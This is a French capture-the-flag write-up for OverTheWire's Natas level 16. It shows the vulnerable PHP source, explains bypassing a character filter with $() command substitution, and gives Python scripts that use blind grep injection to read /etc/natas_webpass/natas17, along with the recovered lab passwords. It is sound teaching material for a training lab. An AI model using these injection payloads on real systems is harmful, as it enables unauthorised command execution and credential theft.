Natas 16
Level Goal
Username: natas16
Password: WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
URL: http://natas16.natas.labs.overthewire.org
En se connectant à la page du challenge 16 (curl http://natas16.natas.labs.overthewire.org -u natas16:WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
) on accède à un nouveau formulaire de recherche permettant de chercher un mot dans un fichier texte et qui est dans la continuité de l'épreuve 9 :
For security reasons, we now filter even more on certain characters<br/><br/>
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>
Output:
<pre>
</pre>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
Le code source associé est le suivant :
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
if(preg_match('/[;|&`\'"]/',$key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i \"$key\" dictionary.txt");
}
}
?>
Comme on peut le remarquer, la requête que l'on saisie passe par une regex qui cherche à déterminer si elle contient un des caractères suivants : ;
, |
, &
, `
, \
, '
ou "
.
Si au moins un de ces caractères est détecté, la page retourne une erreur (Input contains an illegal character!
), sinon elle exécute la commande grep associée à notre requête.
Un début de solution ici est de considérer qu'avec shell il est possible d'interpréter une chaîne de caractère en utilisant la syntaxe $()
. Par exemple dans notre cas, si l'on a la chaîne de caractères $(echo Hello)
elle sera interprétée en Hello
par le shell avant d'être utilisée dans la commande grep.
Le nombre de commande que l'on peut exécuter et les droits en écriture semble limités ; on ne peut pas par exemple écrire le mot de passe du prochain niveau dans un fichier :
$(cat /etc/natas_webpass/natas17 > /var/www/natas/natas16/password.txt)
De la même manière il n'est pas possible d'utiliser curl pour envoyer le contenu du fichier /etc/natas_webpass/natas17
à un serveur.
Une solution possible est de considérer que si l'on utilise une commande grep à l'intérieur de notre payload, on peut déterminer si un caractère est présent ou non dans le fichier natas17
.
Ainsi si l'on veut tester la présence du caractère a
dans le mot de passe du prochain niveau, on envoi $(grep a /etc/natas_webpass/natas17)
. La commande qui sera exécuté par le serveur sera alors la suivante :
grep -i "$(grep a /etc/natas_webpass/natas17)" dictionary.txt
Deux résultats sont alors possibles :
- si le caractère
a
est présent dans le mot de passe, celui ci sera retourné par la commande grep que l'on a injecté et le serveur cherchera ensuite à exécuter la commandegrep -i "PASSWORD" dictionary.txt
(ouPASSWORD
représente le mot de passe). Le mot de passe n'étant pas présent dans le fichierdictionary.txt
il n'y aura aucune valeur retournée - si le caractère
a
n'est pas présent dans le mot de passe, la commande exécutée par le serveur sera alorsgrep -i "" dictionary.txt
, ce qui retournera l'ensemble des mots présents dans le fichierdictionnary.txt
Utilisons Python pour déterminer dans un premier temps l'ensemble des caractères présent dans le mot de passe :
import requests
import string
CHARACTERS = string.ascii_letters + string.digits
PASSWORD_CHARACTERS = []
PATTERN = "<pre>\n</pre>"
def query(password):
exploit = f"$(grep {password} /etc/natas_webpass/natas17)"
payload = {"needle": exploit}
response = requests.get(
"http://natas16.natas.labs.overthewire.org",
params=payload,
auth=requests.auth.HTTPBasicAuth("natas16", "WaIHEacj63wnNIBROHeqi3p9t0m5nhmh"),
)
return response.text
for char in CHARACTERS:
if PATTERN in query(char):
PASSWORD_CHARACTERS.append(char)
print(PASSWORD_CHARACTERS)
On utilise <pre>\n</pre>
pour identifier les cas où la requête ne renvoi aucun mot clef (ce qui, comme expliqué ci-dessus, signifie que le caractère est présent dans le mot de passe).
Après exécution du script on obtient le résultat suivant :
['b', 'c', 'd', 'g', 'h', 'k', 'm', 'n', 'q', 'r', 's', 'w', 'A', 'G', 'H', 'N', 'P', 'Q', 'S', 'W', '0', '3', '5', '7', '8', '9']
On sait que le mot de passe de la prochaine épreuve fait 32
caractères et est composé des 26
caractères identifiés ci-dessus.
On va donc écrire un nouveau script Python qui aura le comportement suivant :
- on prend le premier caractère de cette liste (
b
) et on ajoute chacun des caractères de la liste les un après les autres jusqu'à identifier le bon (par exemplec
) - on recommence en partant de
bc
et en rajoutant de nouveau tous les caractères un à un jusqu'à en trouver un qui est présent dans le mot de passe - si jamais on parcours l'ensemble de la liste de nos caractères sans avoir de match, cela signifie qu'il faut ajouter des caractères avant (par exemple si on a
bc
et qu'on veut testerA
, on testeraAbc
). Ce scénario se produira lorsque la sous-chaîne de caractères que l'on enverra correspondra à la fin du mot de passe et qu'il faudra retrouver les caractères précédents
On peut utiliser le script suivant :
import requests
import string
CHARACTERS = ['b', 'c', 'd', 'g', 'h', 'k', 'm', 'n', 'q', 'r', 's', 'w', 'A', 'G', 'H', 'N', 'P', 'Q', 'S', 'W', '0', '3', '5', '7', '8', '9']
PASSWORD = CHARACTERS[0]
PATTERN = "<pre>\n</pre>"
APPEND = True
def query(password):
exploit = f"$(grep {password} /etc/natas_webpass/natas17)"
payload = {"needle": exploit}
response = requests.get(
"http://natas16.natas.labs.overthewire.org",
params=payload,
auth=requests.auth.HTTPBasicAuth("natas16", "WaIHEacj63wnNIBROHeqi3p9t0m5nhmh"),
)
return response.text
while len(PASSWORD) < 32:
for char in CHARACTERS:
if APPEND:
if PATTERN in query(f"{PASSWORD}{char}"):
PASSWORD = f"{PASSWORD}{char}"
else:
if PATTERN in query(f"{char}{PASSWORD}"):
PASSWORD = f"{char}{PASSWORD}"
APPEND = not APPEND
print(PASSWORD)
En exécutant ce script on obtient le mot de passe de la prochaine épreuve : 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw